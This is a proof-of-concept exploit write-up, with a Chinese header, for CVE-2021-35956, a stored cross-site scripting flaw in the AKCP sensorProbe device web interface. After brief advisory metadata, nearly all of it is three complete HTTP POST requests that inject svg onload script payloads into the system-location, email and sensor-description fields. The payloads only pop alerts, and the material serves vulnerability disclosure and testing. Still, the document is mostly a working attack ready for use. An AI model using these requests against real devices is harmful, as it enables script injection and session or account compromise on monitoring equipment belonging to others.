AKCP sensorProbe 的 CVE-2021-35956 概念验证漏洞利用 - '多处' 跨站脚本 (XSS)。
漏洞利用标题： AKCP sensorProbe - '多处' 跨站脚本 (XSS)。
日期： 2021-01-07。
漏洞利用作者： Tyler Butler。
厂商主页： https://www.akcp.com/。
软件链接： https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/。
公告： https://tbutler.org/2021/06/28/cve-2021-35956。
版本： < SP480-20210624。
CVE： CVE-2021-35956。
描述： AKCP sensorProbe 在 SP480-20210624 之前的版本中，其嵌入式 Web 服务器存在存储型跨站脚本 (XSS) 漏洞，远程认证攻击者能够通过传感器描述、电子邮件（发件人/收件人/抄送）、系统名称和系统位置字段引入任意 JavaScript。
POST /system?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 114
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/system?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
_SA01=System+Namer&_SA02=RDC&_SA03=Name<svg/onload=alert`xss`>&_SA04=1&_SA06=0&_SA36=0&_SA37=0&sbt1=Save
POST /mail?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/mail?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
[email protected]&[email protected]&[email protected]&[email protected]&_PS05_3=<svg/onload=alert`xxss`>&_PS05_4=&sbt2=Save
POST /senswatr?index=0&time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/senswatr?index=0&time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CPCookie=sensors=400
Connection: close
_WT00-IX="><svg/onload=alert`xss`>&_WT03-IX=2&sbt1=Save